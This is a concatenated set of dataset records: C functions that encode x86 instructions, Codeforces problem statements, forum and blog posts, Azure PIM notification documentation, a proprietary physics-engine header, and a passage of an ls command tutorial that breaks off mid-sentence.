*(Reg32*)(*buf) = (reg + 0);\n    *(byte*)buf += 1;\n    *(int8_t*)(*buf) = value;\n    *(byte*)buf += 1;\n}\n\nvoid CALLCONV or_rm16_imm8(void** buf, Reg16 reg, int8_t value) {\n    *(uint8_t*)(*buf) = 102;\n    *(byte*)buf += 1;\n    *(uint8_t*)(*buf) = 131;\n    *(byte*)buf += 1;\n    *(Reg16*)(*buf) = (reg + 1);\n    *(byte*)buf += 1;\n    *(int8_t*)(*buf) = value;\n    *(byte*)buf += 1;\n}\n\nvoid CALLCONV or_rm32_imm8(void** buf, Reg32 reg, int8_t value) {\n    *(uint8_t*)(*buf) = 131;\n    *(byte*)buf += 1;\n    *(Reg32*)(*buf) = (reg + 1);\n    *(byte*)buf += 1;\n    *(int8_t*)(*buf) = value;\n    *(byte*)buf += 1;\n}\n\nvoid CALLCONV adc_rm16_imm8(void** buf, Reg16 reg, int8_t value) {\n    *(uint8_t*)(*buf) = 102;\n    *(byte*)buf += 1;\n    *(uint8_t*)(*buf) = 131;\n    *(byte*)buf += 1;\n    *(Reg16*)(*buf) = (reg + 2);\n    *(byte*)buf += 1;\n    *(int8_t*)(*buf) = value;\n    *(byte*)buf += 1;\n}\n\nvoid CALLCONV adc_rm32_imm8(void** buf, Reg32 reg, int8_t value) {\n    *(uint8_t*)(*buf) = 131;\n    *(byte*)buf += 1;\n    *(Reg32*)(*buf) = (reg + 2);\n    *(byte*)buf += 1;\n    *(int8_t*)(*buf) = value;\n    *(byte*)buf += 1;\n}\n\nvoid CALLCONV sbb_rm16_imm8(void** buf, Reg16 reg, int8_t value) {\n    *(uint8_t*)(*buf) = 102;\n    *(byte*)buf += 1;\n    *(uint8_t*)(*buf) = 131;\n    *(byte*)buf += 1;\n    *(Reg16*)(*buf) = (reg + 3);\n    *(byte*)buf += 1;\n    *(int8_t*)(*buf) = value;\n    *(byte*)buf += 1;\n}\n\nvoid CALLCONV sbb_rm32_imm8(void** buf, Reg32 reg, int8_t value) {\n    *(uint8_t*)(*buf) = 131;\n    *(byte*)buf += 1;\n    *(Reg32*)(*buf) = (reg + 3);\n    *(byte*)buf += 1;\n    *(int8_t*)(*buf) = value;\n    *(byte*)buf += 1;\n}\n\nvoid CALLCONV and_rm16_imm8(void** buf, Reg16 reg, int8_t value) {\n    *(uint8_t*)(*buf) = 102;\n    *(byte*)buf += 1;\n    *(uint8_t*)(*buf) = 131;\n    *(byte*)buf += 1;\n    *(Reg16*)(*buf) = (reg + 4);\n    *(byte*)buf += 1;\n    *(int8_t*)(*buf) = value;\n    *(byte*)buf += 1;\n}\n\nvoid CALLCONV and_rm32_imm8(void** buf, Reg32 reg, int8_t value) {\n    *(uint8_t*)(*buf) = 131;\n    *(byte*)buf += 1;\n    *(Reg32*)(*buf) = (reg + 4);\n    *(byte*)buf += 1;\n    *(int8_t*)(*buf) = value;\n    *(byte*)buf += 1;\n}\n\nvoid CALLCONV sub_rm16_imm8(void** buf, Reg16 reg, int8_t value) {\n    *(uint8_t*)(*buf) = 102;\n    *(byte*)buf += 1;\n    *(uint8_t*)(*buf) = 131;\n    *(byte*)buf += 1;\n    *(Reg16*)(*buf) = (reg + 5);\n    *(byte*)buf += 1;\n    *(int8_t*)(*buf) = value;\n    *(byte*)buf += 1;\n}\n\nvoid CALLCONV sub_rm32_imm8(void** buf, Reg32 reg, int8_t value) {\n    *(uint8_t*)(*buf) = 131;\n    *(byte*)buf += 1;\n    *(Reg32*)(*buf) = (reg + 5);\n    *(byte*)buf += 1;\n    *(int8_t*)(*buf) = value;\n    *(byte*)buf += 1;\n}\n\nvoid CALLCONV xor_rm16_imm8(void** buf, Reg16 reg, int8_t value) {\n    *(uint8_t*)(*buf) = 102;\n    *(byte*)buf += 1;\n    *(uint8_t*)(*buf) = 131;\n    *(byte*)buf += 1;\n    *(Reg16*)(*buf) = (reg + 6);\n    *(byte*)buf += 1;\n    *(int8_t*)(*buf) = value;\n    *(byte*)buf += 1;\n}\n\nvoid CALLCONV xor_rm32_imm8(void** buf, Reg32 reg, int8_t value) {\n    *(uint8_t*)(*buf) = 131;\n    *(byte*)buf += 1;\n    *(Reg32*)(*buf) = (reg + 6);\n    *(byte*)buf += 1;\n    *(int8_t*)(*buf) = value;\n    *(byte*)buf += 1;\n}\n\nvoid CALLCONV cmp_rm16_imm8(void** buf, Reg16 reg, int8_t value) {\n    *(uint8_t*)(*buf) = 102;\n    *(byte*)buf += 1;\n    *(uint8_t*)(*buf) = 131;\n    *(byte*)buf += 1;\n    *(Reg16*)(*buf) = (reg + 7);\n    *(byte*)buf += 1;\n    *(int8_t*)(*buf) = value;\n    *(byte*)buf += 1;\n}\n\nvoid CALLCONV cmp_rm32_imm8(void** buf, Reg32 reg, int8_t value) {\n    *(uint8_t*)(*buf) = 131;\n    *(byte*)buf += 1;\n    *(Reg32*)(*buf) = (reg + 7);\n    *(byte*)buf += 1;\n    *(int8_t*)(*buf) = value;\n    *(byte*)buf += 1;\n}", "source": "cpt_stack_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_stack_code"}
{"text": "A permutation is a sequence of integers from 1 to n of length n containing each number exactly once. For example, (1), (4, 3, 5, 1, 2), (3, 2, 1) are permutations, and (1, 1), (4, 3, 1), (2, 3, 4) are not.\n\nThere are many tasks on permutations. Today you are going to solve one of them. Let’s imagine that somebody took several permutations (perhaps, with a different number of elements), wrote them down consecutively as one array and then shuffled the resulting array. The task is to restore the initial permutations if it is possible.", "source": "cpt_codeforces", "language": "en", "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "There are millions (if not billions) of lines of VB6 code out there. For many businesses, they need this code moved to .NET but they can’t just throw the baby out with the bathwater and start from scratch. They might not be able to afford this, or maybe they couldn’t rebuild it if they tried….\nEver wonder how the Healthcare Industry could harness the full power of Silverlight to create State-of-the-Art, Game-Changing applications to lower Healthcare costs? In this episode of ARCast.TV, Jeff Barnes sits down with David Darnell from MDI Holdings and Henry Lee from New Age Solution to discuss their innovative use of Silverlight, Windows Communication Foundation, and…\nThe latest ARCast episode has been published. In this talk, Cameron Skinner, Product Unit Manager for Visual Studio Team System, and Zhiming Xue discuss the challenges architects often face and how they may benefit from using Visual Studio 2010. Cast: https://channel9.msdn.com/shows/ARCast.TV/ARCastTV-Enabling-Architects-with-Microsoft-Visual-Studio-2010/\nBrian H. Prince meets with Stephen Griffin and John Hannah about their new open source project called MVC4WPF. It is a new framework and guidance package that helps you quickly build enterprise WPF applications. They have seen a dramatic improvement in productivity, ability to leverage entry level developers, and a massive reduction in development costs….\nA new episode is available featuring Rocky Lhotka on Development Frameworks. It is difficult to strike a balance between the optimal architecture and over architecting a solution. Joe Shirey sits down with Rocky Lhotka , the creator of the CSLA.NET framework, to discuss how he balances what should and should not be in his framework….", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "In the Reopen Review Queue, add functionality for \"leave closed\" so that it may become \"leave closed and change close reason.\"\nOne of the things that is not uncommon at all in the reopen review queue is someone changing a question from say... 'unclear' to 'clear, but completely off topic', or one off topic reason to another.\nWhile the OP thinks that they've fixed the problem (I've added the necessary code to reopen it from unclear), they've added 500 lines of code and there's no way anyone is going to reopen that.\nSo, it's a leave closed review action. And the question remains \"closed as unclear\" which is really a rather unfortunate thing for the OP who tried to fix it.\nThus the request. In the Reopen Review Queue, have the option for a leave closed vote to change the close reason for the question. If all three leave close votes are in agreement (not a majority - a unanimous vote), change the close vote reason for the question to the new reason.\nThis will give clear indication for the OP and people who come by later about what needs to be fixed for the question to be reopened. It also allows new users who see the closed questions to better set their expectations about what the content of a question should be.\nThis is more important in sites where the FGITW is in play or where drive by up votes may make closed questions stay around for an inordinately long time leading to misleading and misunderstood close reasons on questions after they have been edited but still remain closed (but not deleted).", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 324, "token_count_with_eod": 325, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Alice guesses the strings that Bob made for her.\n\nAt first, Bob came up with the secret string $$$a$$$ consisting of lowercase English letters. The string $$$a$$$ has a length of $$$2$$$ or more characters. Then, from string $$$a$$$ he builds a new string $$$b$$$ and offers Alice the string $$$b$$$ so that she can guess the string $$$a$$$.\n\nBob builds $$$b$$$ from $$$a$$$ as follows: he writes all the substrings of length $$$2$$$ of the string $$$a$$$ in the order from left to right, and then joins them in the same order into the string $$$b$$$.\n\nFor example, if Bob came up with the string $$$a$$$=\"abac\", then all the substrings of length $$$2$$$ of the string $$$a$$$ are: \"ab\", \"ba\", \"ac\". Therefore, the string $$$b$$$=\"abbaac\".\n\nYou are given the string $$$b$$$. Help Alice to guess the string $$$a$$$ that Bob came up with. It is guaranteed that $$$b$$$ was built according to the algorithm given above. It can be proved that the answer to the problem is unique.", "source": "cpt_codeforces", "language": "en", "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "G’day! I’m Adam, a doctoral student in machine learning at Université Laval in Québec, Canada. I’m passionate about fundamental research and practical applications in artificial intelligence and machine learning. My current research is focused on semi‐supervised learning, with a particular focus on image analysis for non‐natural imaging domains, such a smedicalimages, under the supervision of Christian Gagné. I’m a member of the Institut intelligence et données (IID) and Mila.\nPrior to coming to ULaval, I worked as a machine learning engineer for LHP Partners Ltd, a Wellington-based AI consultancy start-up. I received my M.Sc. degree from the University of Canterbuy (UC) in computer science. My thesis was written on evolutionary reinforcement learning for vision-based general video game playing, under the supervision of Kourosh Neshatian. I also receieved my B.Sc. from UC in computer science and statistics. Addtionally, I have interned at various different companys, such as Xero and Orion Health.\nFrom here, you can learn more about me, or checkout my recent projects and publications!", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 230, "token_count_with_eod": 231, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Presence of one or multiple disembodied, floating penis(es).\nFor it to be a true magic penis, it can't just be that the body is out of view. It has to either fade to nothingness at the base or be otherwise clearly detached.\nThe following tags are aliased to this tag:\nThis tag implicates", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 68, "token_count_with_eod": 69, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "New answers tagged autocomplete\nGoogle incorporates all of the following criteria (among others) into their autocomplete functionality: Searches you've done in the past Google+ Profiles Searches done by other users on the web (and popularity of those searches) Spell Checking Suggestions Locale https://support.google.com/websearch/answer/106230\nI can't be completely sure of that, but on Google, the autocompletion must be a mix of the relevance (personalized results) and of the popularity, of course I think that the more they know you, the more It will be based on relevance. I think that it might be about the same thing on the other search engines. And I haven't any documentation, all that I tell ...\nTop 50 recent answers are included", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 158, "token_count_with_eod": 159, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Quickly enable or disable checks for an application. Manage incidents so that users can see any events or maintenance windows scheduled.\nTransparency and communication is important with your users. Giving them a portal to see your applications' keeps them informed.\nCreate a Site and a Health Check in under 60 seconds. Once health checks are created, that's all you have to do to have your site monitored.\nReceive email notifications on a configurable interval. Notifications will be sent whenever a health check has failed. Add multiple emails to a single site.\nAlready get too many emails? Receive Slack noitifications on a configurable interval. Notifications will be sent whenever a health check has failed.\nSSL Certificates can last for years. Simple notifications of SSL Certificates expiring or if your site is using a bad certificate.\nStatus Pages gives your customers visibility to the health of your application. Use your own domain and logo for a peronalized touch.\nCommunication is important and Incident Management gives customers realtime updates to incidents or maintenance windows.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 209, "token_count_with_eod": 210, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "/*\n *\n * Confidential Information of Telekinesys Research Limited (t/a Havok). Not for disclosure or distribution without Havok's\n * prior written consent. This software contains code, techniques and know-how which is confidential and proprietary to Havok.\n * Product and Trade Secret source code contains trade secrets of Havok. Havok Software (C) Copyright 1999-2013 Telekinesys Research Limited t/a Havok. All Rights Reserved. Use of this software is subject to the terms of an end user license agreement.\n *\n */\n\n#ifndef HK_UTILITIES2_SOFT_CONTACT_UTIL\n#define HK_UTILITIES2_SOFT_CONTACT_UTIL\n\n\n#include <Physics2012/Dynamics/Collide/ContactListener/hkpContactListener.h>\n\n#include <Physics2012/Dynamics/Entity/hkpEntity.h>\n#include <Physics2012/Dynamics/Entity/hkpEntityListener.h>\n\nclass hkpRigidBody;\n\n\t/// A listener class used to soften collisions.\n\t///\n\t/// The utility scales the forces applied between bodies during collision resolution. This results in softened collisions and contact.\n\t/// Note that this utility should not be used for pairs of bodies between which continuous collision detection and response is performed,\n\t/// as this might significantly impact simulations performance.\n\t/// This feature is currently beta - use it with care.\nclass hkpSoftContactUtil: public hkReferencedObject, private hkpContactListener, private hkpEntityListener\n{\n\tpublic:\t\n\t\tHK_DECLARE_CLASS_ALLOCATOR(HK_MEMORY_CLASS_UTILITIES);\n\n\t\t\t/// Adds the soft contact util as a listener to bodyA.\n\t\t\t///\n\t\t\t/// If a contact point is added between bodyA and bodyB, the forces applied between the bodies are changed.\n\t\t\t/// This may be used to achieve soft contacts.\n\t\t\t/// If bodyB is set to NULL, than bodyA will get soft contacts with all bodies\n\t\thkpSoftContactUtil( hkpRigidBody* bodyA, hkpRigidBody* optionalBodyB, hkReal forceScale, hkReal maxAccel );\n\n\t\t~hkpSoftContactUtil();\n\n\tprotected:\n\n\t\tvoid contactPointCallback( const hkpContactPointEvent& event );\n\n\t\tvoid entityDeletedCallback( hkpEntity* entity );\n\n\t\t//\n\t\t//\tInternal public section\n\t\t//\n\tprotected:\n\t\thkpRigidBody* m_bodyA;\n\t\thkpRigidBody* m_bodyB;\n\n\tpublic:\n\t\thkReal m_forceScale;\n\t\thkReal m_maxAcceleration;\n};\n\n#endif\t\t// HK_UTILITIES2_SOFT_CONTACT_UTIL\n\n/*\n * Havok SDK - NO SOURCE PC DOWNLOAD, BUILD(#20130718)\n * \n * Confidential Information of Havok.  (C) Copyright 1999-2013\n * Telekinesys Research Limited t/a Havok. All Rights Reserved. The Havok\n * Logo, and the Havok buzzsaw logo are trademarks of Havok.  Title, ownership\n * rights, and intellectual property rights in the Havok software remain in\n * Havok and/or its suppliers.\n * \n * Use of this software for evaluation purposes is subject to and indicates\n * acceptance of the End User licence Agreement for this product. A copy of\n * the license is included with this software and is also available at www.havok.com/tryhavok.\n * \n */", "source": "cpt_stack_code", "language": "code", "token_count": 744, "token_count_with_eod": 745, "validation_channel": "code", "validation_source": "cpt_stack_code"}
{"text": "[NTG-context] Consistent random number generation\nadityam at umich.edu\nTue Apr 5 23:43:53 CEST 2016\nIs it possible to generate consistent random numbers across multiple\noperating systems. For example, consider the following file:\nIf I process this using texlua, the output on linux and MacOS is\ndifferent. Is it possible to get consistent output?\nRationate: I use randomization to randomize certain paths in metapost. Not\nall randomly generated paths look okay, so I play around with the seed\nuntil I get a good path. But I have to repeat this process everytime I\nupdate my distribution and if I compile on different machines.\nMore information about the ntg-context", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 162, "token_count_with_eod": 163, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "//\n//     Generated by class-dump 3.5 (64 bit).\n//\n//     class-dump is Copyright (C) 1997-1998, 2000-2001, 2004-2013 by Steve Nygard.\n//\n\n#import \"AiCommonConfig.h\"\n\n@interface AudioParams : AiCommonConfig\n{\n}\n\n- (id)getCompress;\n- (int)setCompress:(id)arg1;\n- (id)getAudioSpxQuality;\n- (int)setAudioSpxQuality:(id)arg1;\n- (id)getAudioSampleRate;\n- (int)setAudioSampleRate:(id)arg1;\n- (id)getAudioSampleBytes;\n- (int)setAudioSampleBytes:(id)arg1;\n- (int)setAudioChannel:(id)arg1;\n- (id)getAudioType;\n- (int)setAudioType:(id)arg1;\n- (id)init;\n\n@end", "source": "cpt_stack_code", "language": "code", "token_count": 218, "token_count_with_eod": 219, "validation_channel": "code", "validation_source": "cpt_stack_code"}
{"text": "Here are a few links that relate directly and indirectly to your problem. After reading them, if you have more ?'s, by all means post up. But please add what you've done so we don't 'duplicate' the advice.\nSewer Gas I, Sewer Gas II, Sewer Gas III, Sewer Gas IV, and Sewer Gas V.\nMy best to ya and hope this helps.\nJay J -Moderator\n© 2017 Renovate Your World LLC", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 105, "token_count_with_eod": 106, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "The Smart Beaver from ABBYY decided to have a day off. But doing nothing the whole day turned out to be too boring, and he decided to play a game with pebbles. Initially, the Beaver has n pebbles. He arranges them in a equal rows, each row has b pebbles (a > 1). Note that the Beaver must use all the pebbles he has, i. e. n = a·b.\n\n10 pebbles are arranged in two rows, each row has 5 pebbles\n\nOnce the Smart Beaver has arranged the pebbles, he takes back any of the resulting rows (that is, b pebbles) and discards all other pebbles. Then he arranges all his pebbles again (possibly choosing other values of a and b) and takes back one row, and so on. The game continues until at some point the Beaver ends up with exactly one pebble.\n\nThe game process can be represented as a finite sequence of integers c1, ..., ck, where:\n\n- c1 = n\n- ci + 1 is the number of pebbles that the Beaver ends up with after the i-th move, that is, the number of pebbles in a row after some arrangement of ci pebbles (1 ≤ i < k). Note that ci > ci + 1.\n- ck = 1\n\nThe result of the game is the sum of numbers ci. You are given n. Find the maximum possible result of the game.", "source": "cpt_codeforces", "language": "en", "token_count": 346, "token_count_with_eod": 347, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "#define DEMO_STR_BLANK_LINE \"                                \\0\",\n\nconst char *demo_string[] = {\tDEMO_STR_BLANK_LINE\n\tDEMO_STR_BLANK_LINE\t\t\t\n\t\"1983 CALLS FOR YOUR BYTES!\\0\",\n\tDEMO_STR_BLANK_LINE\t\t\t\n\tDEMO_STR_BLANK_LINE\n\t\"COME AND JOIN US FOR A WEEKEND FULL OF FUN,\\0\",\n\t\"COMPETITIONS AND MEETING OF OLD            \\0\",\n\t\"AND NEW FRIENDS IN THE PULSATING CITY      \\0\",\n\t\"OF BERLIN, GERMANY\\0\",\n\tDEMO_STR_BLANK_LINE\n\tDEMO_STR_BLANK_LINE\n\t\"THE PARTYPLACE IS LOCATED                  \\0\",\n\t\"IN THE NORTH-EAST OF BERLIN, EASILY REACHABLE\\0\",\n\t\"BY PLANE, CAR OR TRAIN.                    \\0\",\n\tDEMO_STR_BLANK_LINE\n\t\"IT FEATURES SPACE FOR UP TO 200 PEOPLE,    \\0\",\n\t\"A BIG OUTDOOR AREA (BONFIRE!),             \\0\",\n\t\"A SEPARATE SLEEPING AREA, NEARBY SHOPS,    \\0\",\n\t\"HOTELS AND LOTS MORE.                      \\0\",\n\tDEMO_STR_BLANK_LINE\n\t\"EXPECT A WIDE VARIETY OF COMPETITIONS,     \\0\",\n\t\"AMAZING LIVE-ACTS, SEMINARS, RETRO-GAMING  \\0\",\n\t\"AND MUCH MORE YET TO BE ANNOUNCED...       \\0\",\n\tDEMO_STR_BLANK_LINE\n\t\"WE LOOK FORWARD TO PARTYING WITH YOU       \\0\",\n\t\"AND OF COURSE ARE THRILLED TO SEE YOUR ENTRIES,\\0\",\n\t\"REGARDLESS OF PLATFORM!                    \\0\",\n\tDEMO_STR_BLANK_LINE\n\tDEMO_STR_BLANK_LINE\n\tDEMO_STR_BLANK_LINE\t\t\t\n\tDEMO_STR_BLANK_LINE\n\t\"HERE IS S A SPECIAL ANNOUNCEMENT           \\0\",\n\tDEMO_STR_BLANK_LINE\t\n\t\"FOR ALL YOU CHIPTUNE-LOVERS OUT THERE:     \\0\",\n\t\"        ON FRIDAY WE WILL HOST             \\0\",\n\t\"    ::: AUTUMN BLIPS (AT) DEADLINE :::     \\0\",\n\t\"A CHIPTUNE FESTIVAL INSIDE THE FESTIVAL:   \\0\",\n\t\"7 CHIPTUNE ARTISTS FROM ALL OVER EUROPE    \\0\",\n\t\"WILL MAKE YOU DANCE USING THEIR GAMEBOYS,  \\0\",\n\t\"SPECTRUMS, BEEPERS AND MODS.               \\0\",\n\t\"ALL INCLUDED IN THE NORMAL TICKET!         \\0\",\n\tDEMO_STR_BLANK_LINE\n\t\"SO START YOUR ENGINES, BOOT YOUR C64,      \\0\",\n\t\"SPIN THE FLOPPY-DISKS                      \\0\",\n\t\"AND HEAD YOUR WAY TO THE FUTURE OF 1983.   \\0\",\n\tDEMO_STR_BLANK_LINE\n\t\"BASS – PIXELS – CITY LIGHTS                \\0\",\n\tDEMO_STR_BLANK_LINE\t\t\t\n\tDEMO_STR_BLANK_LINE\n\tDEMO_STR_BLANK_LINE\n\tDEMO_STR_BLANK_LINE\n\t\"  \\0\",\t\n\t\"  \\0\",\n\t\"  \\0\"\t\n\n\t// \"COME AND JOIN US FOR A WEEKEND FULL OF FUN\\0\",\n\t// \"COMPETITIONS AND MEETING          \\0\",\n\t// \"OF OLD AND NEW FRIENDS          \\0\",\n\t// \"IN THE PULSATING CITY OF BERLIN, GERMANY.\\0\",\n\t// \"THE PARTYPLACE IS LOCATED     \\0\",\n\t// \"IN THE NORTH-EAST OF BERLIN     \\0\",\n\t// \"EASILY REACHABLE BY PLANE, CAR OR TRAIN.\\0\",\n\t// \"IT FEATURES SPACE FOR UP TO 200 PEOPLE,\\0\",\n\t// \"A BIG OUTDOOR AREA (BONFIRE),     \\0\",\n\t// \"A SEPARATE SLEEPING AREA,     \\0\",\n\t// \"NEARBY SHOPS, HOTELS AND LOTS MORE.\\0\",\n\t// \"     \\0\",\n\t// \"BASS PIXELS CITY LIGHTS\\0\",\n\t// \" \\0\",\t\n\t// \" \\0\"\n};\n\nconst char *ascii_art[] = {\n\"\\n\",\n\"\"\n};", "source": "cpt_stack_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_stack_code"}
{"text": "A wonderful night last night. Despite the blizzard, people came out to the directing seminar. There was beer, there was conversation, there were good times. We were supposed to be in the back room, but the place double booked us. So we held the seminar out in the open bar. It was strange because there was a mix of attendees and bar-goers. I wonder what the bar-goers were thinking.\nThere were a lot of great filmmakers, new and experienced, with tons of great questions. It was a very basic seminar so I can’t help but think that some people, with more experience, walk away a little disappointed, but what can you do. I hope, for the most part, people walked away with some new insight to the process or a few good tips they can use on their own productions.\nHere are some photos from the night:\nHere’s the crowd from my POV.\nA few other angles.\nAnd me, trying to stay warm.\nI want to thank everyone for coming out in that weather. It shows real dedication from the members. If you want to get involved with film making in the Chicago area, check out Chicago Filmmakers in Action.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 245, "token_count_with_eod": 246, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Email notifications in PIM\nPrivileged Identity Management (PIM) lets you know when important events occur in your Azure Active Directory (Azure AD) organization, such as when a role is assigned or activated. Privileged Identity Management keeps you informed by sending you and other participants email notifications. These emails might also include links to relevant tasks, such activating or renewing a role. This article describes what these emails look like, when they are sent, and who receives them.\nSender email address and subject line\nEmails sent from Privileged Identity Management for both Azure AD and Azure resource roles have the following sender email address:\n- Email address: firstname.lastname@example.org\n- Display name: Microsoft Azure\nThese emails include a PIM prefix in the subject line. Here's an example:\n- PIM: Alain Charon was permanently assigned the Backup Reader role\nNotifications for Azure AD roles\nPrivileged Identity Management sends emails when the following events occur for Azure AD roles:\n- When a privileged role activation is pending approval\n- When a privileged role activation request is completed\n- When Azure AD Privileged Identity Management is enabled\nWho receives these emails for Azure AD roles depends on your role, the event, and the notifications setting:\n|User||Role activation is pending approval||Role activation request is completed||PIM is enabled|\n|Privileged Role Administrator(Activated/Eligible)||Yes(only if no explicit approvers are specified)||Yes*||Yes|\n* If the Notifications setting is set to Enable.\nThe following shows an example email that is sent when a user activates an Azure AD role for the fictional Contoso organization.\nWeekly Privileged Identity Management digest email for Azure AD roles\nA weekly Privileged Identity Management summary email for Azure AD roles is sent to Privileged Role Administrators, Security Administrators, and Global Administrators that have enabled Privileged Identity Management. This weekly email provides a snapshot of Privileged Identity Management activities for the week as well as privileged role assignments. It is only available for Azure AD organizations on the public cloud. Here's an example email:\nThe email includes:\n|Users activated||Number of times users activated their eligible role inside the organization.|\n|Users made permanent||Number of times users with an eligible assignment is made permanent.|\n|Role assignments in Privileged Identity Management||Number of times users are assigned an eligible role inside Privileged Identity Management.|\n|Role assignments outside of PIM||Number of times users are assigned a permanent role outside of Privileged Identity Management (inside Azure AD).|\nThe Overview of your top roles section lists the top five roles in your organization based on total number of permanent and eligible administrators for each role. The Take action link opens Discovery & Insights where you can convert permanent administrators to eligible administrators in batches.\nEmail timing for activation approvals\nWhen users activate their role and the role setting requires approval, approvers will receive two emails for each approval:\n- Request to approve or deny the user's activation request (sent by the request approval engine)\n- The user's request is approved (sent by the request approval engine)\nAlso, Global Administrators and Privileged Role Administrators receive an email for each approval:\n- The user's role is activated (sent by Privileged Identity Management)\nThe first two emails sent by the request approval engine can be delayed. Currently, 90% of emails take three to ten minutes, but for 1% customers it can be much longer, up to fifteen minutes.\nIf an approval request is approved in the Azure portal before the first email is sent, the first email will no longer be triggered and other approvers won't be notified by email of the approval request. It might appear as if the they didn't get an email but it's the expected behavior.\nPIM emails for Azure resource roles\nPrivileged Identity Management sends emails to Owners and User Access Administrators when the following events occur for Azure resource roles:\n- When a role assignment is pending approval\n- When a role is assigned\n- When a role is soon to expire\n- When a role is eligible to extend\n- When a role is being renewed by an end user\n- When a role activation request is completed\nPrivileged Identity Management sends emails to end users when the following events occur for Azure resource roles:\n- When a role is assigned to the user\n- When a user's role is expired\n- When a user's role is extended\n- When a user's role activation request is completed\nThe following shows an example email that is sent when a user is assigned an Azure resource role for the fictional Contoso organization.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 950, "token_count_with_eod": 951, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "This class was definitely more difficult than i had anticipated. Having to learn binary and machine code as well as program the lego mindstorm robot was not what I was expecting. I had thought that this class would be a breeze and that I wouldn’t learn any new information since I’ve been involved in the filled of information technology for a few years now. I was very wrong.\nThe different things that we covered in this class really brought to light how little I really knew and how much stuff was actually out there. There’s stuff going on with technology that I did not even know existed.I am very impressed with how much was covered in this class and would recommend it to everybody, regardless of their major.\nI will take a lot of things out of this class. For the most part I will take away the understanding that it is impossible to know everything in the IT field and I never will. What I can do is have a healthy respect for the other areas of information technology and focus on my passion of networking.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 205, "token_count_with_eod": 206, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "How to exceute code after response.redirect? I want to force file download using response.redirect , once the file is downloaded i wanted to show modal pop up to send email.\nbut after response.redirect the popup is not getting called. Pls help me how to do this,\nThanks for your reply. I am doing like this. any suggestions?\nResponse.AddHeader(\"Content-Disposition\", \"attachment;filename=\" + FileName.Name); long FileSize = myFile.Length; byte Buffer = new byte[(int)FileSize]; myFile.Read(Buffer, 0, (int)FileSize); myFile.Close(); Response.BinaryWrite(Buffer); // Response.Redirect(filepath,false); Response.Flush(); Response.Close(); ScriptManager.RegisterStartupScript(this, this.GetType(), \"ShowPopup\", \"window.setTimeout('PopupModal()',50);\", true);", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 166, "token_count_with_eod": 167, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "With the help of the\nls command, users and superusers list information about files and directories. This article helps the administrator and user identify file permissions, which is useful for access and basic troubleshooting.\nAt its most basic, you can use the\nls command to see what files are in a directory: Note: The listing may or may not be color-coded.\n[root@centos7 ~]# ls /etc abrt firewalld makedumpfile.conf.sample rdma adjtime flatpak man_db.conf redhat-release aliases fonts maven request-key.conf aliases.db fprintd.conf mime.types request-key.d alsa fstab mke2fs.conf resolv.conf alternatives fuse.conf modprobe.d rhsm anacrontab gconf modules-load.d rpc ...\nThere are many flags available to give you more information with your file listing. The most common one to use is\n--all), since it shows you all of the files in the directory, including the ones that start with a dot (e.g.,\nAnother common flag is\n-l, which gives you more information about the files in a directory, including the file’s permissions, ownership, and size. If you want to be able to tell more easily what units a file size is in (e.g., 1K, 234M, 2G), you can add the\n-h (short for\nLet’s walk through an example. A simple file listing in the root user’s directory might be this:\n[root@name ~]# ls /root anaconda-ks.cfg\nIf you want the long format version of this list (we will cover the additional information shown here in the next section):\n[root@name ~]# ls -l /root total 4 -rw-------. 1 root root 896 Feb 22 01:40 anaconda-ks.cfg\nHowever, if you add the\n-a flag, the\nls command returns a short-form list including the hidden items:\n[root@name ~]# ls -a /root . anaconda-ks.cfg .bash_logout .bashrc .cshrc .tcshrc .. .bash_history .bash_profile .cache .local\nConsider the single period and double period in both directory lists. The single dot (\n.) refers to the directory itself. This dot is convenient if you want to run a command and reference your current directory (for example, when you want to copy a file there).\nThe double dots (\n..) refer to the parent directory. If you type\ncd .. you move up one step in the filesystem hierarchy. For example, if your current directory is\ncd .. would take you to\n/, the very top of the hierarchy.\nIf you combine the\n-a option with the\n-l option into\n-la, you get more details about the hidden and not hidden files:\n[root@name ~]# ls -la /root total 44 dr-xr-x---. 4 root root 4096 Feb 11 05:47 . dr-xr-xr-x. 19 root root 4096 Jul 11 13:15 .. -rw-------. 1 root root 896 Feb 22 01:40 anaconda-ks.cfg -rw-------. 1 root root 163 Jul 11 01:18 .bash_history -rw-r--r--. 1 root root 18 Feb 2 10:37 .bash_logout -rw-r--r--. 1 root root 176 Feb 2 10:37 .bash_profile -rw-r--r--. 1 root root 176 Feb 2 10:37 .bashrc drwx------. 3 root root 4096 Jul 11 01:37 .cache -rw-r--r--. 1 root root 100 Feb 2 10:37 .cshrc drwxr-xr-x. 3 root root 4096 Feb 22 01:57 .local -rw-r--r--. 1 root root 129 Feb 2 10:37 .tcshrc\nDecoding the long listing format\nWhen you start using the\n-l flag, you will notice a lot more information. Here is an example line of output:\ndrwxrwxr-x 2 root test 4096 Dec 3 2009 test\nThe first 